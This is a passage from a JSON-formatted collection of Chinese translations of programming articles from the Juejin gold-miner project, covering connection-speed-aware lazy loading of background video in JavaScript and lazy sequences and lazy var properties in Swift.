但是，如果需要，可以使用[补丁](http://iamdustan.com/smoothscroll/)。\n\n## 创造性思考\n\n虽然这只是对可能性的一种解释，但我确信使用我们现有的工具可以实现无数其他创新想法。设计趋势可能一如既往地来去匆匆; 但我确信认为值得记住的是，网页是一种流动的媒介。技术在不断变化，为什么我们的布局保持不变？去探索吧。\n\n## 更多资源\n\n*   [Invision “Design Genome” Site](https://www.invisionapp.com/enterprise/design-genome) - Awesome Grid Layout\n*   [Layout Land](https://www.youtube.com/channel/UC7TizprGknbDalbHplROtag) - Jen Simmons’ Youtube Channel\n*   [The New CSS Layout](https://abookapart.com/products/the-new-css-layout) - Rachel Andrew (A Book Apart)\n\n> 如果发现译文存在错误或其他需要改进的地方，欢迎到 [掘金翻译计划](https://github.com/xitu/gold-miner) 对译文进行修改并 PR，也可获得相应奖励积分。文章开头的 **本文永久链接** 即为本文在 GitHub 上的 MarkDown 链接。\n\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[区块链](https://github.com/xitu/gold-miner#区块链)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计)、[人工智能](https://github.com/xitu/gold-miner#人工智能)等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。\n"
  },
  {
    "path": "TODO1/lazy-loading-video-based-on-connection-speed.md",
    "content": "> * 原文地址：[Lazy Loading Video Based on Connection Speed](https://medium.com/dailyjs/lazy-loading-video-based-on-connection-speed-e2de086f9095)\n> * 原文作者：[Ben Robertson](https://medium.com/@bgrobertson)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO1/lazy-loading-video-based-on-connection-speed.md](https://github.com/xitu/gold-miner/blob/master/TODO1/lazy-loading-video-based-on-connection-speed.md)\n> * 译者：[SHERlocked93](https://github.com/SHERlocked93)\n> * 校对者：[Reaper622](https://github.com/Reaper622), [Fengziyin1234](https://github.com/Fengziyin1234)\n\n# 网速敏感的视频延迟加载方案\n\n一个大视频的背景，如果做的好，会是一个绝佳的体验！但是，在首页添加一个视频并不仅仅是随便找个人，然后加个 25mb 的视频，那会让你的所有的性能优化都付之一炬。\n\n![](https://cdn-images-1.medium.com/max/800/1*FAfkN32_GGB-8qyJOXYtKQ.jpeg)\n\nLazy pandas love lazy loading. (Photo by [Elena Loshina](https://unsplash.com/photos/94c2BwxqwXw?utm_source=unsplash&utm_medium=referral&utm_content=creditCopyText))\n\n我参加过一些团队，他们希望给首页加上类似的全屏视频背景。我通常不愿意那么做，因为这种做法通常会导致性能上的噩梦。老实说，我曾给一个页面加上一个 **40mb** 大的视频。 😬\n\n上次有人让我这么做的时候，我很好奇应如何将背景视频的加载作为**渐进增强**（Progressive Enhancement），来提升网络连接状况比较好的用户的体验。除了和我的同事们强调视频体积小和压缩视频的重要性以外，也希望在代码上有一些奇迹发生。\n\n**下面是最终的解决方案：**\n\n1. 尝试使用 JavaScript 加载 `<source>`\n2. 监听 `canplaythrough` 事件\n3. 如果 `canplaythrough` 事件没有在 2 秒内触发，那么使用 `Promise.race()` 将视频加载超时 \n4. 如果没有监听到 `canplaythrough` 事件，那么移除 `<source>`，并且取消视频加载\n5. 如果监测到 `canplaythrough` 事件，那么使用淡入效果显示这个视频\n\n### 标记\n\n这里要注意的问题是，即使我正在 `<video>` 标签中使用 `<source>`，但我还没为这些 `<source>` 设置 `src` 属性。如果设置了 `src` 属性，那么浏览器会自动地找到它可以播放的第一个 `<source>`，并立即开始下载它。\n\n因为在这个例子中，视频是作为渐进增强的对象，默认情况下我们不用真的加载视频。事实上唯一需要加载的，是我们为这个页面设置的预览图片。\n\n```html\n  <video class=\"js-video-loader\" poster=\"<?= $poster; ?>\" muted=\"true\" loop=\"true\">\n    <source data-src=\"path/to/video.webm\" type=\"video/webm\">\n    <source data-src=\"path/to/video.mp4\" type=\"video/mp4\">\n  </video>\n```\n\n### JavaScript\n\n我编写了一个简单的 JavaScript 类，用于查找带有 `.js-video-loader` 这个 class 的 video 元素，让我们以后可以在其他视频中复用这个逻辑。[完整的源码可以从 Github 上看到](https://gist.github.com/benjamingrobertson/00c5b47eaf5786da0759b63d78dfde9e)。\n\n构造函数是这样的：\n\n```javascript\n  constructor () {\n    this.videos = Array.from(document.querySelectorAll('video.js-video-loader'));\n    // 将在下面情况下返回\n    // - 浏览器不支持 Promise\n    // - 没有 video 元素\n    // - 如果用户设置了减少动态偏好（prefers reduced motion）\n    // - 在移动设备上\n    if (typeof Promise === 'undefined'\n      || !this.videos\n      || window.matchMedia('(prefers-reduced-motion)').matches\n      || window.innerWidth < 992\n    ) {\n      return;\n    }\n    this.videos.forEach(this.loadVideo.bind(this));\n  }\n```\n\n这里我们所做的就是找到这个页面上所有我们希望延迟加载的视频。如果没有，我们可以返回。当用户开启了[减少动态偏好（preference for reduced motion）](https://css-tricks.com/introduction-reduced-motion-media-query/)设置时，我们同样不会加载这样的视频。为了不让某些低网速或低图形处理能力的手机用户担心，在小屏幕手机上也会直接返回。（我在考虑是否可以通过 `<source>` 元素的媒体查询来做这些，但也不确定。）\n\n然后给每个视频运行这个视频加载逻辑。\n\n#### loadVideo\n\n`loadVideo()` 是一个调用其他函数的简单的函数：\n\n```javascript\n  loadVideo(video) {\n    this.setSource(video);\n    // 加上了视频链接后重新加载视频\n    video.load();\n    this.checkLoadTime(video);\n  }\n```\n\n#### setSource\n\n在 `setSource()` 中，我们找到那些作为数据属性（Data Attributes）插入的视频链接，并且将它们设置为真正的 `src` 属性。\n\n```javascript\n  /**\n    * 找 video 子元素中是 <source> 的，\n    * 基于 data-src 属性，\n    * 给每个 <source> 设置 src 属性\n    *\n    * @param {DOM Object} video\n    */\n    setSource (video) {\n      let children = Array.from(video.children);\n      children.forEach(child => {\n        if (child.tagName === 'SOURCE' && typeof child.dataset.src !== 'undefined') {\n          child.setAttribute('src', child.dataset.src);\n        }\n      });\n    }\n```\n\n基本上，我所做的就是遍历每一个 `<video>` 元素的子元素，找一个定义了 `data-src` 属性（`child.dataset.src`）的 `<source>` 子元素。如果找到了，那就用 `setAttribute` 将它的 `src` 属性设置为视频链接。\n\n现在视频链接已经被设置给 `<video>` 元素了，下面需要让浏览器再次加载视频。我们通过在 `loadVideo()` 中的 `video.load()` 来完成这个工作。`load()` 方法是 [HTMLMediaElement API](https://developer.mozilla.org/en-US/docs/Web/API/HTMLMediaElement) 的一部分，它可以重置媒体元素并且重启加载过程。 \n\n#### checkLoadTime\n\n接下来是见证奇迹的时刻。在 `checkLoadTime()` 方法中我们创建了两个 Promise。第一个 Promise 将在 `<video>` 元素的 [canplaythrough](https://developer.mozilla.org/ro/docs/Web/Events/canplaythrough)  事件触发时被 `resolve`。这个 `canplaythrough` 事件是浏览器认为这个视频可以在不停下来缓冲的情况下持续播放的时候被触发。我们在这个 Promise 中添加一个这个事件的监听回调，当这个事件触发的时候执行 `resolve()`。\n\n```javascript\n  // 创建一个 Promise，将在\n  // video.canplaythrough 事件发生时被 resolve\n  let videoLoad = new Promise((resolve) => {\n    video.addEventListener('canplaythrough', () => {\n      resolve('can play');\n    });\n  });\n```\n\n我们同时创建另一个 Promise 作为计时器。在这个 Promise 中，当经过一个设定好的时间后，我们使用 `setTimeout` 来将这个 Promise 给 resolve 掉，我这设置了一个 2 秒的时延（2000毫秒）。\n\n```javascript\n  // 创建一个 Promise 将在\n  // 特定时间(2s)后被 resolve\n  let videoTimeout = new Promise((resolve) => {\n    setTimeout(() => {\n      resolve('The video timed out.');\n    }, 2000);\n  });\n```\n\n现在我们有了两个 Promise，我们可以通过 `Promise.race()` 看他们谁先完成。\n\n```javascript\n  // 将 promises 进行 Race 看看哪个先被 resolves\n  Promise.race([videoLoad, videoTimeout]).then(data => {\n    if (data === 'can play') {\n      video.play();\n      setTimeout(() => {\n        video.classList.add('video-loaded');\n      }, 3000);\n    } else {\n      this.cancelLoad(video);\n    }\n  });\n```\n\n在这个 `.then()` 的回调中我们等着拿到最先被 `resolve` 的那个 Promise 传回来的信息。如果这个视频可以播放，那么我就会拿到之前传的 `can play`，然后试一下是否可以播放这个视频。`video.play()` 是使用 HTMLMediaElement 提供的 `play()` 方法来触发视频播放。\n\n3 秒后，`setTimeout()` 将会给这个标签加上 `.video-loaded` 类，这将有助于视频文件更巧妙的淡入自动循环播放。\n\n如果我们没接收到 `can play` 字符串，那么我们将取消这个视频的加载。\n\n#### cancelLoad\n\n`cancelLoad()` 方法做的基本上跟 `loadVideo()` 方法相反。它从每个 `source` 标签移除 `src` 属性，并且触发 `video.load()` 来重置视频元素。\n\n如果我们不这么做，这个视频元素将会在后台保持加载状态，即使我们都没将它显示出来。\n\n```javascript\n  /**\n    * 通过移除所有的 <source> 来取消视频加载\n    * 然后触发 video.load().\n    *\n    * @param {DOM object} video\n    */\n    cancelLoad (video) {\n      let children = Array.from(video.children);\n      children.forEach(child => {\n        if (child.tagName === 'SOURCE' && typeof child.dataset.src !== 'undefined') {\n          child.parentNode.removeChild(child);\n        }\n      });\n      // 重新加载没有 <source> 标签的 video\n      // 这样它会停止下载\n      video.load();\n    }\n```\n\n### 总结\n\n这个方法的缺点是，我们仍然试图通过一个不一定靠谱的链接来下载一个可能比较大的文件，但是通过提供一个超时时间，我们希望能够给某些网速慢的用户节约一些流量并且获得更好的性能。根据我在 Chrome Dev Tools 里将网速节流到慢 3G 条件下的测试，这个方法将在超时之前加载了 512kb 的视频。即使是一个 3-5mb 的视频，对于一些网速慢的用户来说，这也带来了显著的流量节省。\n\n你觉得怎么样？如果有改进的建议，欢迎在评论里分享！\n\n---\n\n*Originally published at* [*benrobertson.io*](https://benrobertson.io/front-end/lazy-load-connection-speed).\n\n> 如果发现译文存在错误或其他需要改进的地方，欢迎到 [掘金翻译计划](https://github.com/xitu/gold-miner) 对译文进行修改并 PR，也可获得相应奖励积分。文章开头的 **本文永久链接** 即为本文在 GitHub 上的 MarkDown 链接。\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[区块链](https://github.com/xitu/gold-miner#区块链)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计)、[人工智能](https://github.com/xitu/gold-miner#人工智能)等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。\n"
  },
  {
    "path": "TODO1/lazy-sequences-in-swift-and-how-they-work.md",
    "content": "> * 原文地址：[Lazy Sequences in Swift And How They Work](https://swiftrocks.com/lazy-sequences-in-swift-and-how-they-work.html)\n> * 原文作者：[Bruno Rocha](https://bit.ly/2IY5F4Y)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO1/lazy-sequences-in-swift-and-how-they-work.md](https://github.com/xitu/gold-miner/blob/master/TODO1/lazy-sequences-in-swift-and-how-they-work.md)\n> * 译者：[RickeyBoy](https://github.com/RickeyBoy)\n\n# Swift 中的惰性序列及其原理\n\n使用 `map` 和 `filter` 这样的高阶函数在 Swift 项目中非常常见，因为它们是简单的算法，能让你将复杂的想法转化为简单的单行函数。不幸的是，它们没能解决所有的问题 — 至少在它们的默认实现中没能解决。高阶函数是非常**急迫**的：它们使用闭包立即返回一个新的数组，不论你是否需要提前返回或者只是使用其中特定的元素。当性能很重要时，你可能被逼着写一些具体的辅助方法来避免高阶函数**急迫**的这个性质。\n\n```\nlet addresses = getFirstThreeAddresses(withIdentifier: \"HOME\")\nfunc getFirstThreeAddresses(withIdentifier identifier: String) -> [Address] {\n    // 不使用 .filter{}.prefix(3)，因为我们需要提前返回\n    var addresses = [Address]()\n    for address in allAddresses where address.identifier == identifier {\n        addresses.append(address)\n        if addresses.count == 3 {\n            break\n        }\n    }\n    return addresses\n}\n```\n\n幸运的是，Swift 有办法在使用高阶函数的同时保持其高性能和辅助函数 — Swift 标准库 `Sequences` 和 `Collections` 的惰性执行版本可以通过 `lazy` 关键词获取到。\n\n这些变化后的惰性版本使用起来就和普通情况一样，仅有一处改变：它们拥有像 `map` 和 `filter` 一样自定义实现的方法来保证它们的**惰性** — 这意味着实际上只有在**你需要它们的时候**才会进行运算。\n\n```\nlet allNumbers = Array(1...1000)\nlet normalMap = allNumbers.map { $0 * 2 } // 不论你是需要做什么，这段映射都会被执行完\nlet lazyMap = allNumbers.lazy.map { $0 * 2 } // 在这里什么都不会发生\nprint(lazyMap[0]) // 打印 2，但其他不涉及的部分都不会发生\n```\n\n虽然一开始看着有点吓人，但它们允许你减少大多数的 `for` 循环，取代以能够提前返回的单行函数。例如，当用于查找满足断言的第一个元素时，这是它与其他方法的比较：\n\n```\n// 在 [Address] 数组中有 10000 个 Address 元素，和一个位于最开头的 \"HOME\" address 元素\nlet address = allAddresses.filter { $0.identifier == \"HOME\" }.first // ~0.15 秒\n\n// 对比\n\nfunc firstAddress(withIdentifier identifier: String) -> Address? {\n    // 现在你可以使用标准库的 first(where:) 方法，\n    // 但让我们现在假装它不存在。\n    for address in allAddresses where address.identifier == identifier {\n        return address\n    }\n    return nil\n}\n\nlet address = firstAddress(withIdentifier: \"HOME\") // 立刻\n\n// 对比\n\nlet address = allAddresses.lazy.filter { $0.identifier == \"HOME\" }.first // 同样立刻返回，并且代码更少！\n```\n\n除了写的代码更少之外，它们也对总体上惰性操作非常有帮助，能让你的代码更易阅读。假设你有一个购物应用，如果用户花费太长时间完成购买，则会显示来自本地数据库的优惠：\n\n```\nlet offerViews = offersJson.compactMap { database.load(offer: $0) }.map(OfferView.init) // O(n)\nvar currentOffer = -1\n\nfunc displayNextOffer() {\n    guard currentOffer + 1 < offerViews.count else {\n        return\n    }\n    currentOffer += 1\n    offerViews[currentOffer].display(atViewController: self)\n}\n```\n\n当这个解决办法生效时，它有一个主要的问题：我急迫地将全部要展示的 json 内容都映射到了 `OfferViews`，即便用户并不一定会看完这所有的选项。这并不是一个问题如果内容 `offerJson` 只是一个小型的数组，但如果数据量巨大时，一次性将所有内容从数据库取出立刻就成为一个问题了。\n\n你可以通过将解析逻辑移动到 `displayNextOffer()`，实现仅仅映射需要的 `OfferViews`，但你的代码质量可能因为保留了原始数据而变得难以理解：\n\n```\nlet offersJson: [[String: Any]] = //\nvar currentOffer = -1\n\nfunc displayNextOffer() {\n    guard currentOffer + 1 < offerViews.count else {\n        return\n    }\n    currentOffer += 1\n    guard let offer = database.load(offer: offersJson[currentOffer]) else {\n        return\n    }\n    let offerView = OfferView(offer: offer)\n    offerView.display(atViewController: self)\n}\n```\n\n通过使用 `lazy`，当前的 `offerView` 将只会在被 `displayNextOffer()` 使用到时映射数组相对应的位置，这样既保证了代码可读性又保证了代码性能！\n\n```\nlet offerViews = offersJson.lazy.compactMap { database.load(offer: $0) }.map(OfferView.init) // 这里什么都没发生！\nvar currentOffer = -1\n\nfunc displayNextOffer() {\n    guard currentOffer + 1 < offerViews.count else {\n        return\n    }\n    currentOffer += 1\n    offerViews[currentOffer].display(atViewController: self) // 只在这里发生了映射，且只有需要的元素\n}\n```\n\n不过注意，惰性序列将不会有缓存。这意味着如果使用了 `offerViews[0]` 两次，**全部映射过程也都将被执行两次**。如果你要多次获取某些元素，那么就把他们放到普通的数组之中吧。\n\n## 这为什么能生效？\n\n虽然它们在使用时看起来很神奇，但延迟序列的内部实现并不像它看起来那么复杂。\n\n如果我们打印第二个例子的类型，我们可以看到，即使我们惰性映射的 `Collection` 就像普通的 `Collection` 一样，我们也处理的是不同的类型：\n\n```\nlet lazyMap = Array(1...1000).lazy.map { $0 * 2 }\nprint(lazyMap) // LazyMapCollection<Array<Int>, Int>\nlet lazyMap = Array(1...1000).lazy.filter { $0 % 2 == 0 }.map { $0 * 2 }\nprint(lazyMap) // LazyMapCollection<LazyFilterCollection<Array<Int>>, Int>\n// 在这种情况下，第一个泛型参数是惰性操作内部的 Collection，而第二个参数是 map 操作的转换函数。\n```\n\n看看 Swift 的源代码，我们可以通过这样一个事实，看到其非急迫性，即这些方法除了返回一个新类型之外，实际上并没有做任何事情：\n\n（我将使用 `LazySequence` 而不是 `LazyCollections` 的代码作为例子，因为他们在特性上十分相似。如果你不理解 `Sequences` 如何工作，[那么看一下 Apple 的这篇文章吧。](https://developer.apple.com/documentation/swift/sequence)）\n\n```\nextension LazySequenceProtocol {\n    /// 返回一个 `LazyMapSequence` 类型来替代 `Sequence`。\n    /// 结果每次被 `transform` 方法读取一个基础元素，\n    /// 它们都将会被惰性计算。\n    @inlinable\n    public func map<U>(_ transform: @escaping (Elements.Element) -> U) -> LazyMapSequence<Self.Elements, U> {\n        return LazyMapSequence(_base: self.elements, transform: transform)\n    }\n}\n```\n\n这样的神奇来自这些独特类型的内部实现。例如，如果我们看一下 `LazyMapSequence` 和 `LazyFilterSequence`，我们可以看到它们只不过是常规的 `Sequences`，它存储一个操作并仅在迭代时应用它们的对应的立刻生效的方法：\n\n```\n// _base 是原始的 Sequence\nextension LazyMapSequence.Iterator: IteratorProtocol, Sequence {\n    @inlinable\n    public mutating func next() -> Element? {\n        return _base.next().map(_transform)\n    }\n}\n```\n\n```\nextension LazyFilterSequence.Iterator: IteratorProtocol, Sequence {\n    @inlinable\n    public mutating func next() -> Element? {\n        while let n = _base.next() {\n            if _predicate(n) {\n                return n\n            }\n        }\n        return nil\n    }\n}\n```\n\n## `LazyCollection` 的性能困境\n\n如果文章在这里结束的话会很好，但重要的是要知道惰性序列其实是有缺陷 — 特别是当底层类型是 `Collection` 时。\n\n在最开始的例子中，我们的方法获得了满足某个条件的前三个地址。通过将惰性操作链接在一起，这也可以简化为单行函数：\n\n```\nlet homeAddresses = allAddresses.lazy.filter { $0.identifier == \"HOME\" }.prefix(3)\n```\n\n但是，看看这个特定的例子与直接执行相比表现如何：\n\n```\nallAddresses.filter { $0.identifier == \"HOME\" }.prefix(3) // ~0.11 secs\nArray(allAddresses.lazy.filter { $0.identifier == \"HOME\" }.prefix(3)) // ~0.22 secs\n```\n\n即使找到三个地址后 `lazy` 版本就会立刻停止，但它的执行速度却反而是急迫版本的两倍！\n\n不幸的原因来自于 `Sequences` 和 `Collections` 之间的细微差别。截取 `Sequence` 的头部元素就像将所需元素移动到单独的 `Array` 一样简单，但对 `Collections` 的切片操作却需要知道所需切片的 `结束位` 的索引：\n\n```\npublic func prefix(_ maxLength: Int) -> SubSequence {\n    _precondition(maxLength >= 0, \"Can't take a prefix of negative length from a collection\")\n    let end = index(startIndex, offsetBy: maxLength, limitedBy: endIndex) ?? endIndex\n    return self[startIndex..<end]\n}\n\n@inlinable\npublic subscript(bounds: Range<Index>) -> Slice<Self> {\n    _failEarlyRangeCheck(bounds, bounds: startIndex..<endIndex)\n    return Slice(base: self, bounds: bounds)\n}\n```\n\n问题是在 `Collection` 相关术语中，`endIndex` 不是最后一个元素的索引，而是最后一个元素（`index(startIndex, offsetBy:maxLength)`）**之后**的索引。对于我们的惰性 `filter` 函数来说，这意味着为了切割获得前三个家庭地址，我们必须找到**四个**家庭地址 — 它们甚至可能不存在。\n\n这篇文档 [certain lazy types](https://github.com/apple/swift/blob/master/stdlib/public/core/PrefixWhile.swift#L106) 说明了这个问题：\n\n```\n/// - 注意：获取 `endIndex`、获取 `last` 以及\n///   任何依赖 `endIndex` 的方法或者是\n///   依赖于 collection 头部符合条件的元素个数进行移动的方法，\n///   都可能无法匹配 `Collection` 协议保证的性能。\n///   因此要知道，对于 `${Self}` 实例的普通操作\n///   可能并不只有文档上描述的复杂度。\npublic struct LazyPrefixWhileCollection<Base: Collection> {\n```\n\n更糟糕的是，因为一个 `Slice` 只是原始 `Collection` 的一个窗口，所以将它转换为`Array` 需要调用使用了惰性 filter 方法的 `Collection` 的 `count` 属性的函数 — 但是因为 `lazy.filter(_:)` 操作不符合 `RandomAccessCollection` 协议，`count`只能通过遍历整个 `Collection` 来找到。\n\n由于 Lazy Sequence 缺少缓存，这导致整个过滤/切片过程**再次**发生。因此，如果第四个元素不存在或者与第三个元素相距太远，那么 `lazy` 版本的执行速度将比原始版本差两倍。\n\n好消息是这种情况可以被避免 — 如果你不确定你的惰性操作是否会在合理的时间内运行，你可以通过将结果视为 `Sequence` 来保证效率。虽然这样失去 `BidirectionalCollection` 所具有的反向遍历功能，但保证了前向操作将再次快速。\n\n```\nlet sequence: AnySequence = allAddresses.lazy.filter { $0.identifier == \"HOME\" }.prefix(3)\nlet result = Array(sequence) // ~0.004 秒！\n```\n\n## Conclusion\n\n使用 `lazy` 对象可以让你快速编写高性能、复杂的东西 — 代价是需要了解 Swift 内部机制以防止出现重大问题。像所有功能一样，它们有巨大的优点也有等同的缺点，在这种情况下，需要了解 `Sequences` 和 `Collections` 之间的主要区别，汲取它们中的最佳功能来使用。一旦掌握，映射得到特定元素，将变得非常简单和直观。\n\n在 Twitter 上关注我 — [@rockthebruno](https://twitter.com/rockthebruno)，如果你想分享任何的更正或者建议，请告知我。\n\n## 参考文献和优秀文章\n\n[Filter.swift](https://github.com/apple/swift/blob/master/stdlib/public/core/Filter.swift)\n[SR-4164](https://bugs.swift.org/browse/SR-4164)\n[LazyPrefixWhileCollection](https://developer.apple.com/documentation/swift/lazyprefixwhilecollection)\n[LazySequenceProtocol](https://developer.apple.com/documentation/swift/lazysequenceprotocol)\n[Sequence](https://developer.apple.com/documentation/swift/sequence)\n\n> 如果发现译文存在错误或其他需要改进的地方，欢迎到 [掘金翻译计划](https://github.com/xitu/gold-miner) 对译文进行修改并 PR，也可获得相应奖励积分。文章开头的 **本文永久链接** 即为本文在 GitHub 上的 MarkDown 链接。\n\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[区块链](https://github.com/xitu/gold-miner#区块链)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计)、[人工智能](https://github.com/xitu/gold-miner#人工智能)等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。\n"
  },
  {
    "path": "TODO1/lazy-var-in-ios-swift.md",
    "content": "> * 原文地址：[lazy var in ios swift](https://medium.com/@abhimuralidharan/lazy-var-in-ios-swift-96c75cb8a13a)\n> * 原文作者：[Abhimuralidharan](https://medium.com/@abhimuralidharan)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO1/lazy-var-in-ios-swift.md](https://github.com/xitu/gold-miner/blob/master/TODO1/lazy-var-in-ios-swift.md)\n> * 译者：[kirinzer](https://github.com/kirinzer)\n> * 校对者：[portandbridge](https://github.com/portandbridge), [iWeslie](https://github.com/iWeslie)\n\n# 在 iOS Swift 中的懒加载变量\n\n> 这篇文章解释了在 Swift 中懒加载变量是如何工作的，你必须对闭包有一些了解。\n\n**[阅读这篇文章获取更多关于闭包的信息](https://medium.com/@abhimuralidharan/functional-swift-all-about-closures-310bc8af31dd).**\n\n当我们进行 iOS 开发时，我们应该非常关注应用程序的内存占用情况。如果应用程序很复杂，那么内存问题就会是对于开发者的一个主要的挑战。所以，首先考虑到内存分配问题的开发者能够真正的写出优化的代码。除非确实有必要，否则开发者要避免做一些耗时的工作。那些复杂的分配内存操作会消耗更多的时间，并且对于程序的性能有严重的影响。\n\n![](https://cdn-images-1.medium.com/max/2000/1*HRKGc4RHwRXiyIHOzlpKbA.png)\n\nSwift 有内置在语言中的机制，可以即时的计算那些耗时工作。它叫做**懒加载变量**。这种变量只有在你第一次需要它的时候才被指定的方法创建。如果从没有使用过该变量。那么方法就不会运行，所以它可以帮助减少一些处理时间。\n\n*苹果的官方文档写道：*\n\n**一个懒加载储存属性是种只有在首次使用时，才计算其初始值的属性。你可以通过在声明前加 `lazy` 修饰符来标示一个懒加载存储属性。**\n\n> 你必须将一个懒加载属性声明为一个变量(通过 `var` 关键字)，因为它的初始化值也许不能获得，直到实例的初始化完成。常量属性在初始化完成**之前**一定会有一个值，因此不能用懒加载声明。\n\n为了解释这些，我会使用一个很基础的示例：假设有一个结构体叫做 InterviewCandidate。它有一个可选的布尔值，决定候选人正在申请 iOS 或者 Android。iOSResumeDescription 和 androidResumeDescription 被声明为懒加载属性。那么在下面的代码中，一个人是 iOS 开发者，懒加载变量 **iOSResumeDescription** 将会在调用打印方法的时候被初始化。没有被调用的 **androidResumeDescription** 就会是 nil。\n\n```swift\n//: Playground - noun: 人们用来玩耍的地方\nimport UIKit\n\n\nstruct InterviewCandidate {\n    var isiOS:Bool?\n    \n    lazy var iOSResumeDescription: String = {\n        return \"I am an iOS developer\"\n    }()\n    lazy var androidResumeDescription: String = {\n        return \"I am an android developer\"\n    }()\n}\n\nvar person1 = InterviewCandidate()\nperson1.isiOS = true\n\nif person1.isiOS! {\n    print(person1.iOSResumeDescription)\n} else {\n    print(person1.androidResumeDescription)\n\n}\n```\n\n这是一个非常基础的例子。如果我们有一个复杂的类或结构，它包含从循环的函数返回结果的计算变量，并且如果我们创建 1000 个这样的对象，那么性能和内存将会受到影响。\n\n## 懒加载存储属性 vs 存储属性\n\n这有一些懒加载属性相对于存储属性的优点。\n\n 1. 只有在读取懒加载属性时，才会执行与该属性关联的闭包。 因此，如果由于某种原因该属性未被使用（可能是因为用户的某些决定），则可以避免不必要的分配和计算。\n\n 2. 你可以使用一个存储属性给懒加载属性赋值。\n\n 3. **注意** 你能够在懒加载的属性闭包内部使用 `self`。这不会导致任何循环引用。原因在于它立即使用的这个闭包 `{}()` 被认为是 `@noescape`。它不会引用捕获的 `self`。\n> 但是，如果你在 **方法** 中使用 `self`。事实上，如果你正在使用的是一个类而不是结构体，你也应该在你的方法内声明 `[unowned self]` 那样你才不会创建一个强引用（查看下面的代码）。\n\n```swift\n// playground code\n\nimport UIKit\nimport Foundation\n\nclass InterviewTest {\n\tvar name: String\n\tlazy var greeting : String = { return “Hello \\(self.name)” }()\n\t// 这里没有循环引用 ..\n\n\tinit(name: String) {\n\t\tself.name = name\n\t}\n}\n\nlet testObj = InterviewTest(name:”abhi”)\n\ntestObj.greeting\n```\n\n你能够引用这个变量，无论你是否使用了闭包。\n\n```swift\nlazy var iOSResumeDescription = “I am an iOS developer”\n```\n\n这样的语法也可以运行。\n\n> **注意：记住，懒加载属性的用途是只有它们第一次被需要的时候才会被计算，在这之后它们的值就被存储下来了。所以，如果你第二次使用 `iOSResumeDescription `，预先存储的属性就会返回。**\n\n## 懒加载规则:\n\n* 你不能对 `let` 类型使用 `lazy`。\n\n* 你不能对于 `计算属性` 使用它。因为一个计算属性会在每次我们试图访问它的时候去执行在计算代码块中的代码并返回相应的值。\n\n* 你只能对 `struct` 和 `class` 的成员使用 `lazy`。\n\n* 懒加载变量不是原子初始化类型，所以它并不是线程安全的。\n\n**如果你喜欢阅读这篇文章，那么分享和推荐它以便其他人能够看到💚💚💚💚💚💚！**\n\n> 如果发现译文存在错误或其他需要改进的地方，欢迎到 [掘金翻译计划](https://github.com/xitu/gold-miner) 对译文进行修改并 PR，也可获得相应奖励积分。文章开头的 **本文永久链接** 即为本文在 GitHub 上的 MarkDown 链接。\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[区块链](https://github.com/xitu/gold-miner#区块链)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计)、[人工智能](https://github.com/xitu/gold-miner#人工智能)等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。\n"
  },
  {
    "path": "TODO1/learn-bootstrap-4-in-30-minute-by-building-a-landing-page-website-guide-for-beginners.md",
